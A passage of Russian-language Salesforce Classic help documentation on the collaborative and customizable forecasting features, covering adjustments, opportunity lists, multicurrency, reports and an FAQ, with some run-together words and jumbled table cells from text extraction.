
• Администратор изменяет период прогноза со значения «Ежеквартально» на значение «Ежемесячно» или наоборот.

• Администратор отключает тип прогноза. При этом удаляются только поправки для данного типа прогноза.

• Администратор изменяет начальный месяц финансового года при выборе периода прогноза «Ежеквартально». В
этом случае удаляются как планы продаж, так и поправки.
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• Администратор удаляет группу продуктов. В этом случае удаляются как поправки, так и планыпродаж для удаленной
группы продуктов.

• Администратор изменяет накопительные сводки прогнозов на индивидуальные сводки категорий прогнозов или
наоборот.

• Администратор создает настраиваемыйфинансовый год впервые. Все поправки и планы продаж для последующего
и стандартного финансового года удаляются.

• Администратор удаляет настраиваемыйфинансовый период или квартал. Поправки для прогноза и планы продаж
на этот период также удаляются.

СМ. ТАКЖЕ:

Общие сведения о поправках прогнозов

Корректировка прогнозов

Просмотр сведений о возможности в прогнозе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет просматривать и редактировать сведения о возможностях, которые
сводятся для каждой стоимости прогноза.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Собственная страница сведений о прогнозах или страница любого подчиненного
сотрудника позволяет просматривать возможности, связанные с прогнозом, — за один
или несколько месяцев, а также для одного или всех подчиненных сотрудников. Если
группа сбыта составляет прогнозы по группам продуктов, то пользователи могут
просматривать собственные возможностиили возможностиподчиненного для каждой
группы продуктов. Возможности, связанные с выбранной ячейкой сводной таблицы,
отображаются в списке внизу страницы. Возможности могут быть отсортированы по
заголовку столбца.

• Чтобы просмотреть возможности во всех категориях прогноза за один или
несколькомесяцевиликварталов, щелкните соответствующуюстроку таблицы. При
этом в списке возможностей отображаются все возможности во всех категориях.

• Чтобы просмотреть возможности в отдельной сводке прогноза за один или несколько месяцев или кварталов,
щелкните соответствующую ячейку внутри строки. Данное действие позволяет списку возможностей показать
возможности из данной сводки.

Совет: Помните, что сводки прогнозов зависят от этапа возможности. Чтобы изменить категорию прогноза
без обновления этапа возможности, откройте страницу сведений о возможности. Чтобы открыть окно выбора,
щелкните поле «Категория прогноза», добавленное администратором в макет страницы возможности. Чтобы
обновитькатегориюпрогнозадлявозможности, воспользуйтесьраскрывающимсясписком «Категорияпрогноза»,
доступным в данном окне.

• Чтобы просмотреть возможности подчиненного сотрудника за отдельный месяц, щелкните строку
соответствующего подчиненного сотрудника в нужном месяце.

• Чтобы просмотреть возможности подчиненного для отдельной группы продуктов, щелкните напротив
имени нужного подчиненного и выберите имя нужной группы продуктов из отображающегося списка.

• Чтобыпросмотреть доли для возможности, наведите указатель мыши на процент доли для нужной возможности,
а затем щелкните значок . Данное действие инициирует отображение области сведений «Доли возможности»,
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отображающей жирнымшрифтом те доли, которые сводятся для выбранной ячейки прогноза. Другие доли
возможности отображаются серым цветом. Возможности, которые содержат только одну 100%-ную долю для
ответственного за возможность, не отображают сведения о долях.

• Чтобы изменить порядок отображения возможностей, щелкните заголовок любого столбца. Содержимое
большинства столбцов сортируется в алфавитно-числовом порядке, однако сортировка возможностей в столбце
«Категория» выполняется по ближайшей или самой отдаленной дате закрытия.

• Чтобыпросмотретьвесьсписок, длинакоторогопревышаетразмерстраницы, щелкните«Назад»или«Далее»,
либо введите номер нужной страницы в поле «Страница».

• Чтобы изменить возможность, доступную в списке, щелкните «Правка» напротив имени нужной возможности.

• Чтобы просмотреть любые сообщения Chatter, связанные с возможностью, щелкните ссылку «Имя
возможности»дляпереходана соответствующуюстраницусведений. Щелкните «Показатьленту». Чтобыполучать
уведомления Chatter обо всех действиях над возможностью, щелкните «Отслеживать».

• Чтобы настроить столбец, установите курсор в правое или левое поле заголовка столбца и измените ширину.

СМ. ТАКЖЕ:

Редактирование возможностей на странице прогнозов

Общие сведения о возможностях пользователей партнерского портала в продукте «Совместные прогнозы»
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Редактирование возможностей на странице прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Пользователь может редактировать возможности, связанные с прогнозами, на
собственной странице прогнозов или на странице прогнозов любого подчиненного
сотрудника. Изменения отображаются на странице прогнозов только после ее
обновления.

Совет: Чтобы быстро найти нужный прогноз, щелкните «Перейти к...».

1. Найдитенужнуювозможностьнастранице «Прогнозы» ищелкнитессылку«Правка».

2. Отредактируйте возможность и нажмите кнопку «Сохранить».

3. Чтобыпросмотретьизменениявспискевозможностейитаблицепрогнозов, нажмите
кнопку «Обновить» на странице прогнозов.

СМ. ТАКЖЕ:

Просмотр сведений о возможности в прогнозе

Поиск прогнозов подчиненных посредством ссылки «Перейти к...»

Общие сведения о возможностях пользователей партнерского портала в продукте
«Совместные прогнозы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Пользователи партнерского портала — это внешние пользователи организации,
занимающиеся реализацией продуктов или услуг через непрямые каналы сбыта.
Пользователи партнерского портала используют портал для входа в систему Salesforce.
Партнерымогут создаватьвозможности, которыемогутбытьназначеныпользователями.
Возможности, создаваемые пользователем партнерского портала, могут сводиться к
прогнозу ответственного за организацию. Обратите внимание, что ответственный за
организацию должен быть менеджером прогнозов в иерархии прогнозов для
возможностей, которые сводятся в прогнозе. Например, пользователь Иван Петров:

• несет ответственность за организацию-партнера Acme

• создает контакт Acme по имени Анна Кузнецова

• Анна является пользователем партнерского портала

• Анна подчиняется Ивану в иерархии прогнозов

ЕслиАннадобавляетвозможностинапортал, тоИванможетпросматриватьданныевозможностивсобственномпрогнозе;
Иван, являющийсяменеджеромпрогнозовАнны, можеткорректироватьстоимостипрогнозовнаосновеее возможностей
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ипросматриватьпоказателиотслеживанияотносительноеепланапродаж. Обратите внимание, что вкладка «Совместные
прогнозы» и ее функции недоступны пользователям партнерского портала.

СМ. ТАКЖЕ:

Просмотр сведений о возможности в прогнозе

Редактирование возможностей на странице прогнозов

Общие сведения о партнерском портале

Работа с мультивалютой в прогнозах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Данные сведения относятся только к мультивалютным организациям.

Валютапрогнозаи типыпрогнозов выбираютсяпосленастройкипродукта «Прогнозы»
администратором организации. Валюта прогноза — это валюта компании или личная
валюта каждого ответственного за прогноз.

При использовании продукта «Совместные прогнозы» рекомендуем выбрать валюту
отображения из числа валют, поддерживаемых организацией. Щелкните значок
напротивполя «Имяпрогноза в: типвалюты» или «Единицы» вверхустраницы «Прогнозы».
Щелкните «Изменить валюту» в поле «Валюта». При этом откроется окно выбора
валюты для отображения прогнозов.

Ниже перечислены рекомендации по работе с валютами в продукте «Прогнозы».

• При использовании прогнозов на основе дохода изменение валютного курса
инициирует сведение возможностей и поправок с учетом измененного значения наряду со значениями таблицы
прогнозов.

• Прииспользованиипрогнозовнаосновеколичестваизменениевалютногокурсаинициируетсведениевозможностей
и поправок с учетом измененного значения.

• При сведении измененных значений отображается индикатор обработки ( ).

• Изменение валютного курса влияет на все периоды прогноза (прошедшие, текущие и будущие).

• Деактивация валюты, выбранной в качестве личной валюты пользователя, автоматически назначает пользователю
валюту компании.

Редактирование параметров личной валюты доступно на странице личных сведений.

СМ. ТАКЖЕ:

Общие сведения о поправках прогнозов

Общие сведения об элементах прогноза

Переключение между прогнозами по доходу и прогнозами по количеству
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Обновление прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Пока пользователь просматривает страницу прогнозов, его подчиненные могут
редактировать связанные возможности или корректировать прогнозы собственных
подчиненных сотрудников. Кроме того, пользователь может корректировать прогнозы
одного из своих подчиненныхна собственной странице. Врезультате выполнения всех
этих действий могут быть изменены стоимости прогнозов.

Любоеобновлениевозможностииливнесениепоправоквпрогноз, выбранныйвсводной
таблице, наглядно отображается текущему пользователю.

• Напротив выбранного прогноза, для которого выполняется обработка поправок
(собственныхиливнесенныхподчиненнымисотрудниками), отображаетсяиндикатор
обработки ( ).

• Индикатор обработки также отображается в верхнем колонтитуле списка
возможностейв томслучае, есливыполняетсяобновление связанныхвозможностей
для любого выбранного прогноза.

• Сообщение «Обработка изменений» отображается в верхнем колонтитуле списка возможностей.

Чтобы просмотреть изменения, щелкните «Обновить».

Например, пока пользовательИванПетров просматривает прогноз своей рабочей группы по доходу для возможностей
на декабрь, его подчиненный Сергей Сидоров может изменить возможность, которая должна быть закрыта в декабре. В
настоящее время эта возможность относится к категориипрогноза «Обязательство». Допустим, Сергейменяет стоимость
возможности с 2 500 рублей на 2 600 рублей. Данное изменение влияет на его декабрьский прогноз, увеличивая его
стоимость на 100 рублей.

Если в это время Иван выбирает ячейку таблицы, в которой хранится декабрьский прогноз Сергея, то в данной ячейке
отображается индикатор обработки. Этот индикатор указывает Ивану на то, что Сергеем были внесены некоторые
изменения, которые влияют на прогноз. Кроме того, этот же индикатор обработки отображается в списке возможностей
и указывает Ивану на то, что Сергей также внес изменения в возможность. Затем Иван нажимает кнопку «Обновить».
При этом стоимость возможности меняется с 2 500 рублей на 2 600 рублей, а в декабрьском прогнозе Сергея, который
относится к категории «Обязательство», отображается увеличение стоимости на 100 рублей.

СМ. ТАКЖЕ:

Общие сведения о поправках прогнозов

Очистка поправок
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Использование отчетов прогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Для просмотра вкладки
«Отчеты»:
• «Запуск отчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Чтобы проверить доступность отчетов по прогнозам, откройте вкладку «Отчеты» и
нажмите кнопку «Создать отчет...». Выберите папку, содержащую типы отчетов
прогнозирования. Если поля или имена типов отчетов, описанные в таблице ниже, не
отображаются, обратитесь к администратору.

Ниже перечислены рекомендации по использованию отчетов.

ДействияЦель просмотра

Создайте отчет «Элемент
прогнозирования» и добавьте фильтр с
полем «Ответственный: полное имя».
Отфильтруйтерезультатыотчетапоимени
отдельного пользователя.

Резюме прогноза из перспективы
отдельного пользователя.

Добавьте поле «Только стоимость
ответственного» в отчет «Элемент
прогнозирования». Например, при
наличии двух возможностей стоимостью
10 000 рублей каждая поле «Только
стоимость ответственного» отображает
значение «20 000 рублей». Чтобы
просмотреть аналогичные данные для
количества, дополните отчет полем
«Только количество ответственного».

Сумма всех возможностей дохода
пользователя (без поправок).

Добавьтеполе«Стоимостьбезпоправок»
в отчет «Элемент прогнозирования».
Например, если общая стоимость всех
собственных возможностей составляет
20 000 рублей, а общая стоимость
возможностей подчиненных —
55 000 рублей, то поле «Стоимость без
поправок» отображает значение

Сумма всех собственных возможностей
дохода пользователя и возможностей его
подчиненных (без поправок).
Подчиненные — это сотрудники,
расположенные ниже пользователя в
иерархии прогнозов.

75 000 рублей. Чтобы просмотреть
аналогичные данные для количества,
дополните отчет полем «Количество без
поправок».

Добавьтеполе «Стоимостьбезпоправки
менеджера» в отчет «Элемент

Показатель прогноза, отображаемый
ответственному за прогноз. Показатель

прогнозирования». Например, полепрогноза — это сумма возможностей
«Стоимость без поправок» отображаетдохода ответственного и его
Анне значение «75 000 рублей», из которыхподчиненных, включая поправки,
20 000 рублей — это стоимость еевнесенные ответственным в собственные
собственныхвозможностей, а 55 000 рублейпрогнозы или прогнозы подчиненных.
— это стоимость возможностей,Данный показатель не включает поправки,
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ДействияЦель просмотра

внесенные вышестоящими менеджерами прогнозов в иерархии
прогнозов.

принадлежащихееподчиненномуИвану. Аннаувеличивает
стоимость возможностейИвана до 65 000 рублей; при этом
общая стоимость возрастает до 85 000 рублей. Если
менеджер Анны увеличивает общую стоимость до
100 000 рублей, то поле «Стоимость без поправки
менеджера» содержит значение «85 000 рублей», так как
Анне недоступны поправки, внесенные ее менеджером.
Чтобы просмотреть стоимость с поправкой менеджера,
воспользуйтесь полем «Стоимость прогноза»,
отображающим значение «100 000 рублей». Чтобы
просмотреть аналогичные данные для количества,
дополните отчет полем «Количество без поправок
менеджера».

Добавьте поле «Стоимость прогноза» в отчет «Элемент
прогнозирования». Например, менеджеру прогнозов

Прогноз по доходу из перспективыменеджера прогнозов
исуммавозможностейответственногоиегоподчиненных,
включая все поправки прогноза. подчиняетсядругойменеджерпрогнозов, вполе «Стоимость

без поправкименеджера» которого отображается значение
«85 000 рублей». Есливышестоящийменеджерувеличивает
стоимость прогноза до 100 000 рублей, то поле «Стоимость
прогноза» отображает значение «100 000 рублей». Чтобы
просмотреть аналогичные данные для количества,
дополните отчет полем «Количество прогноза».

Добавьте поле «Содержит поправку» в отчет «Элемент
прогнозирования». Например, если вы внесете

Пользователи, стоимости прогнозов которых содержат
поправки.

менеджерскую поправку в стоимость прогноза одного из
вашихподчиненных, этотфлажокбудетустановлен. Данный
флажок также устанавливается в том случае, если
подчиненный корректирует стоимости прогнозов
собственного подчиненного. Если менеджер прогнозов
корректирует стоимость прогноза подчиненного, которому не
предоставлено полномочие «Просмотр всех данных», то данный
флажок не устанавливается; подчиненному недоступны поправки,
внесенные менеджером прогнозов. Также добавьте «Содержит
поправку ответственного». Если пользователь делает
корректировку своего прогноза, этот флажок будет
установлен.

Создайте отчет «Планы продаж для прогнозирования».
Например, параметры типа отчета, заданные

Сведения о плане продаж для прогнозов.

администратором, определяют возможность добавления
полей (например, полное имя ответственного за план
продаж). Чтобы просмотреть собственные планы продаж
исвязанныеорганизацииилиответственных, отфильтруйте
результаты отчета по собственному имени.

1673

Прогнозирование и планирование циклов продаж
посредством совместных прогнозов

Продажи клиентам



ДействияЦель просмотра

Создайте отчет «Прогнозы с архивным трендингом» и
сравните значение поля «Стоимость прогноза» в начале

Сравнениетекущихстоимостейпрогнозовспредыдущими.

месяца со значением в конце месяца, выполняя сортировку
по ответственному.

Выберите пункт «<имя_элемента> моих прямых
подчиненных» в меню «Показать» при создании отчета
по прогнозированию.

Результаты только для прямых подчиненных.

Воспользуйтесьполем «Типпрогнозирования» врезультатах
отчета. Данное поле добавляется в стандартный макет

Тип прогноза для полученных результатов.

страницыдляотчетов «Элементпрогнозирования» и «План
продаж для прогнозирования».

Важное замечание: Отчеты содержат новейшие данные на момент выполнения отчета, поэтому различия между
стоимостями в отчете и на панели «Совместные прогнозы» могут возникать в результате обработки изменений во
время выполнения отчета.

Обратите внимание, что данные, отображаемые в отчетах, определяются данными, доступными на панели
«Совместные прогнозы». Например, менеджеры прогнозов могут просматривать внесенные поправки, которые не
отображаются другим менеджерам при выполнении аналогичного отчета. Стоимость прогноза может содержать
сводкупо стоимостямпрогнозовразныхпользователей, поэтомурезультатыотчета должнытщательнопроверяться
при использовании полей резюмирования.

СМ. ТАКЖЕ:

Типы настраиваемых отчетов прогнозирования

Создание типа настраиваемых отчетов прогнозирования

Рекомендации по прогнозам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Нижеперечисленырекомендациипоиспользованиюпродукта «Совместныепрогнозы».

• Важные сведения могут отслеживаться на уровне возможности.

• Вклад каждой потенциальной сделки в общий доход может определяться путем
комплекснойоценки связанных действий (например, сообщения эл. почты, встречи
и кампании).

• Созданные задачимогут содержать следующие этапыидаты завершения, связанные
с возможностями.

• Этапы продаж могут быть соотнесены с категориями прогнозов; точность прогноза
может быть повышена путем настройки вероятности закрытия, основанной на
архивных данных.

• Имена категорий прогнозов могут быть настроены в соответствии с текущими
бизнес-процессами и терминами.
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• Панели мониторинга могут быть созданы по показателям всех действий, связанных с потенциальными продажами.

• Подчиненные могут быть уведомлены о поправках, внесенных в прогнозы.

• Общий доступ к сведениям о возможностях и прогнозах, а также привлечение внимания участников рабочей группы
к важным данным, может осуществляться посредством Chatter.

• Анализ тенденций и проверка производительности могут осуществляться посредством отчетов.

• Поправки прогнозов могут пересматриваться еженедельно. Данный алгоритм позволяет исключать поправки,
устаревающие ввиду частого изменения возможностей.

• Убедитесь, что каждому менеджеру по продажам, имеющему подчиненных, назначена роль менеджера прогнозов в
иерархии прогнозов. В этом случае доступность прогнозов сводится к каждому уровню иерархии.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Использование отчетов прогнозирования

Прогнозирование и планирование циклов продаж посредством прогнозов. Вопросы
и ответы

Прогнозы. Вопросы и ответы
• What’s the difference between the Forecasting versions?

• Можно ли корректировать собственные прогнозы?

• Почему прогнозы недоступны для корректировки?

• Что определяет прогнозы, доступные для корректировки?

• Почему страница прогнозов не содержит возможностей?

• Почему недоступна функция управления территориями?

• Как просмотреть и обновить соотнесения этапов возможности и категорий прогнозов?

• Почему страница прогнозов не содержит ссылки «Перейти к...»?

• Как настроить планы продаж для торговых представителей?

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Чем отличаются версии прогнозирования?
Продукт «Совместные прогнозы» поддерживает многие функции продукта «Настраиваемое прогнозирование».

Смотрите, какиефункциидоступнывкаждойверсиифункции «Прогнозирование». Припереходенапродукт «Совместные
прогнозы» см. раздел «Факты, свидетельствующиевпользумиграцииотнастраиваемогопрогнозированияк «совместным
прогнозам» на странице 1640.

Совместные прогнозыНастраиваемое
прогнозирование

Функция

API-доступ
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Совместные прогнозыНастраиваемое
прогнозирование

Функция

Автоматические сведения

Чат в режиме реального времени

Настраиваемые финансовые года

(Недоступно в версии
Professional Edition)

Прогнозы по настраиваемому полю валюты возможности

Настройка стандартной валюты прогноза

Индивидуальный выбор диапазона прогноза:
контролируется пользователем

Соотнесение категорийпрогноза с этапами возможностей

Ежемесячные прогнозы

Мультивалютная поддержка

Возможностьиспользования
настраиваемогополявалюты

Поправки на уровне возможности

возможностидлясохранения
стоимостей с поправками и
прогнозапонастраиваемому
полю для отслеживания
сводки данного поля.

Сортировка и фильтрация списка возможностей

(Недоступно в версии
Professional Edition)

Прогнозы по долям возможности

Этап возможности

(Недоступно в версии
Professional Edition)

Прогнозы по долям наложения

Переопределение (корректировка) прогнозов

Переопределение (корректировка) примечаний

(Недоступно в версии
Professional Edition)

Возможности партнера в прогнозах

Прогнозы по группе продуктов
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Совместные прогнозыНастраиваемое
прогнозирование

Функция

Прогнозы по расписанию продуктов

Планы продаж

Прогнозы по количеству

Ежеквартальные прогнозы

Переименование категорий

Отчеты и панели мониторинга

Изменение размера столбцов таблицы прогнозов

Прогнозы по доходу

(Пробнаяверсия, только API)

Предоставление общего доступа к прогнозам

Снимки и история прогноза

Сортируемыйсписоквозможностейнастраницепрогнозов

Отправка прогнозов

(Толькодляпервоначальной
функции «Управление

Управление территориями

территориями».
Корпоративное управление

территориями не
поддерживается).

СМ. ТАКЖЕ:

Прогнозы. Вопросы и ответы

Можно ли корректировать собственные прогнозы?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Администратор может разрешить менеджерам корректировку прогнозов подчиненных, всем пользователям прогнозов
корректировку собственных прогнозов или то и другое.При использовании только поправок менеджера прогнозы могут
корректироватьсятолькоменеджерамипрогнозов. Вданномслучаеменеджерысовместныхпрогнозовмогуткорректировать
прогнозы своих подчиненных, но не собственные прогнозы.
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Прииспользованиипоправок ответственного все пользователипрогнозовмогут корректировать стоимости собственных
прогнозов.

СМ. ТАКЖЕ:

Почему прогнозы недоступны для корректировки?

Корректировка прогнозов

Почему прогнозы недоступны для корректировки?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Администратор может разрешить менеджерам корректировку прогнозов подчиненных, всем пользователям прогнозов
корректировку собственныхпрогнозов или то и другое.Прииспользовании только поправокменеджера корректировка
прогнозовдоступнатолькоменеджерампрогнозов. Вслучаенедавнегоизменениярабочихфункций, проверьтеиерархию
прогнозовнаналичиеполномочийменеджерапрогнозов. Введите строку «Иерархия прогнозов» вполе «Быстрый поиск»
в меню «Настройка», затем выберите «Иерархия прогнозов». Имя пользователя, являющегося менеджером прогнозов,
отображается напротив роли, назначенной в качестве менеджера прогнозов.

СМ. ТАКЖЕ:

Можно ли корректировать собственные прогнозы?

Общие сведения о поправках прогнозов

Что определяет прогнозы, доступные для корректировки?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Администратор может разрешить менеджерам корректировку прогнозов подчиненных, всем пользователям прогнозов
корректировку собственных прогнозов или то и другое.

Приналичииполномочийменеджераииспользованиипоправокменеджераиерархияпрогнозовопределяетпрогнозы,
доступные пользователям для просмотра и корректировки. Прогнозы пользователя, подчиняющегося в иерархии ролей,
доступны для корректировки только в том случае, если этот пользователь подчиняется в иерархии прогнозов.

Прииспользованиипоправокответственноговсепользователипрогнозовмогут корректировать собственныепрогнозы.

СМ. ТАКЖЕ:

Можно ли корректировать собственные прогнозы?

Почему прогнозы недоступны для корректировки?

Общие сведения о поправках прогнозов

Почему страница прогнозов не содержит возможностей?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Выполните одно из указанных ниже действий.
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• Чтобы просмотреть возможности во всех категориях прогноза за один или несколько месяцев или кварталов,
щелкните соответствующую строку таблицы. Данное действие позволяет списку возможностей показать все
возможности из всех категорий.

• Чтобы просмотреть возможности в отдельной сводке прогноза за один или несколько месяцев или кварталов,
щелкните соответствующую ячейку внутри строки. Данное действие позволяет списку возможностей показать
возможности из данной сводки.

Совет: Помните, что сводки прогнозов зависят от этапа возможности. Чтобы изменить категорию прогноза
без обновления этапа возможности, откройте страницу сведений о возможности. Чтобы открыть окно выбора,
щелкните поле «Категория прогноза», добавленное администратором в макет страницы возможности. Чтобы
обновитькатегориюпрогнозадлявозможности, воспользуйтесьраскрывающимсясписком «Категорияпрогноза»,
доступным в данном окне.

• Чтобы просмотреть возможности подчиненного сотрудника за отдельный месяц, щелкните строку
соответствующего подчиненного сотрудника в нужном месяце.

• Чтобы изменить порядок отображения возможностей, щелкните заголовок любого столбца. Содержимое
большинства столбцов сортируется в алфавитно-числовом порядке, однако сортировка возможностей в столбце
«Категория» выполняется по ближайшей или самой отдаленной дате закрытия.

• Чтобыпросмотретьвесьсписок, длинакоторогопревышаетразмерстраницы, щелкните«Назад»или«Далее»,
либо введите номер нужной страницы в поле «Страница».

• Чтобы изменить возможность, доступную в списке, щелкните «Правка» напротив имени нужной возможности.

• Чтобы просмотреть любые сообщения Chatter, связанные с возможностью, щелкните ссылку «Имя
возможности»дляпереходана соответствующуюстраницусведений. Щелкните «Показатьленту». Чтобыполучать
уведомления Chatter обо всех действиях над возможностью, щелкните «Отслеживать».

СМ. ТАКЖЕ:

Просмотр сведений о возможности в прогнозе

Как просмотреть и обновить соотнесения этапов возможности и категорий прогнозов?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Обновление соотнесений этапов возможности и категорий прогнозов доступно только администраторам.

1. Из параметров управления для возможностей перейдите к разделу «Поля».

2. Щелкните ссылку «Этап».

3. Чтобыпросмотреть категориюпрогнозов, соотнесеннуюс каждым этапом возможности, откройте раздел «Значения
раскрывающегося списка: этапы возможностей». Чтобыизменить текущее соотнесение, щелкните ссылку «Правка».

СМ. ТАКЖЕ:

Прогнозы. Вопросы и ответы

Почему страница прогнозов не содержит ссылки «Перейти к...»?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».
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Ссылка «Перейтик...»доступна толькоменеджерампрогнозовприналичииподчиняющихсяпользователейвиерархии
прогнозов.

СМ. ТАКЖЕ:

Прогнозы. Вопросы и ответы

Как настроить планы продаж для торговых представителей?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Чтобы настроить планы продаж для организации, выполните указанные ниже действия при наличии соответствующих
полномочий.

1. В меню «Настройка» введите «Параметры прогнозов» в поле «Быстрый поиск», затем выберите «Параметры
прогнозов».

2. Установите флажок «Показать планы продаж» в разделе «Планы продаж».

3. Нажмите кнопку «Сохранить».

4. Чтобы загрузить данные плана продаж, воспользуйтесь API 25.0 или более поздней версии или приложением Data
Loader.

СМ. ТАКЖЕ:

Общие сведения о планах продаж для прогнозов

Отображение или сокрытие данных плана продаж

Почему недоступна функция управления территориями?

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Функция управления территориями доступна для настраиваемого прогнозирования, но недоступна для продукта
«Совместные прогнозы».

СМ. ТАКЖЕ:

Прогнозы. Вопросы и ответы
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Оценивание доходов и продаж посредством настраиваемых прогнозов

Общие сведения о настраиваемом прогнозировании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прогнозов
других пользователей:
• «Просмотр всех

прогнозов»

Для переопределения
прогноза:
• «Переопределение

прогнозов»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Настраиваемое прогнозирование — это универсальное решение для оценки объема
потенциального дохода или количества продаваемых продуктов. Настраиваемое
прогнозирование может соответствовать способам, используемым организацией для
составления прогнозов по продажам. Настраиваемое прогнозирование позволяет
составлять прогнозы на месяц или квартал, по доходу или количеству, а также
использовать разные даты при применении стоимостей к прогнозам и определять
дополнительные планы продаж на основе групп продуктов.

Рекомендуемиспользоватьнастраиваемыепрогнозыдляанализапрогнозаидетализации
его стоимости, необходимой для просмотра возможностей, добавленных в прогноз.
Чтобыпереопределитьстоимостипрогноза, откройте запись возможностииливкладку
«Прогнозы», позволяющую переопределять прогнозы без уведомления нижестоящих
пользователей в иерархии ролей прогнозов.

При выборе вкладки «Прогнозы» отображается прогноз на выбранный период.

• Чтобыотправитьпрогноз, предоставляядоступк снимкуданныхпрогноза вжурнале
прогноза и отчетах по прогнозам, нажмите кнопку «Отправить». См. раздел
«Отправка настраиваемых прогнозов».

• Чтобы просмотреть данные прогноза, отправленные ранее, щелкните «История
прогноза». Чтобыоткрытьтекущиеданныепрогноза, щелкните«Резюмепрогноза».

• Чтобыоткрыть выбранныйпрогноз впростом готовомдляпечатимакете, щелкните
«Версия для печати».

• Просмотрите собственный прогноз и прогнозы всех прямых подчиненных или прогнозы, доступ к которым
предоставляется вручную. Дополнительную информацию о разных способах просмотра см. в разделе «Просмотр
настраиваемых прогнозов».

• Чтобы просмотреть сведения о прогнозе, откройте вложенную вкладку «Прогноз». Дополнительную информацию
см. в разделе «Просмотр настраиваемых прогнозов».

• Чтобыпросмотретьвозможности, добавленныевотображаемыйпрогноз, откройтевложеннуювкладку «Возможности».
Вложенная вкладка «Возможности» позволяет выбирать или создавать списковое представление для дальнейшей
фильтрации отображаемых возможностей. Дополнительнуюинформацию см. в разделе «Просмотр настраиваемых
прогнозов».

• Чтобы изменить скорректированные итоги прогноза или добавить переопределение для отдельной стоимости
прогноза, щелкните значок редактирования ( ). Дополнительную информацию о переопределении стоимостей
прогнозов см. в разделе «Переопределение настраиваемых прогнозов».

Еслипрогнознедоступен, обратитесь к администраторуспросьбойдобавить себя виерархиюпрогнозов (илииерархию
территорий, если организация использует функцию управления территориями).

Прим.: В отличие от других вкладок, вкладка «Прогнозы» автоматически вычисляет данные на основе данных
возможности. Создание или удаление записей прогнозов не требуется.
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Дополнительнуюинформациюо внедрениинастраиваемого прогнозирования в организации см. в разделе «Настройка
функции настраиваемого прогнозирования».

СМ. ТАКЖЕ:

Включена ли функция настраиваемого прогнозирования?

Чем отличаются версии прогнозирования?

Включена ли функция настраиваемого прогнозирования?

Управление настраиваемыми прогнозами

Включена ли функция настраиваемого прогнозирования?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Припереключениинафункциюнастраиваемогопрогнозированияимявкладкиостается
неизменным, поэтомупользователинемогут определить, включена ли даннаяфункция
в организации. Воспользуйтесь рекомендациями ниже.

Откройте вкладку «Прогнозы».

• Наличие кнопки «Настраиваемоепрогнозирование»или «Отправить запрос!»
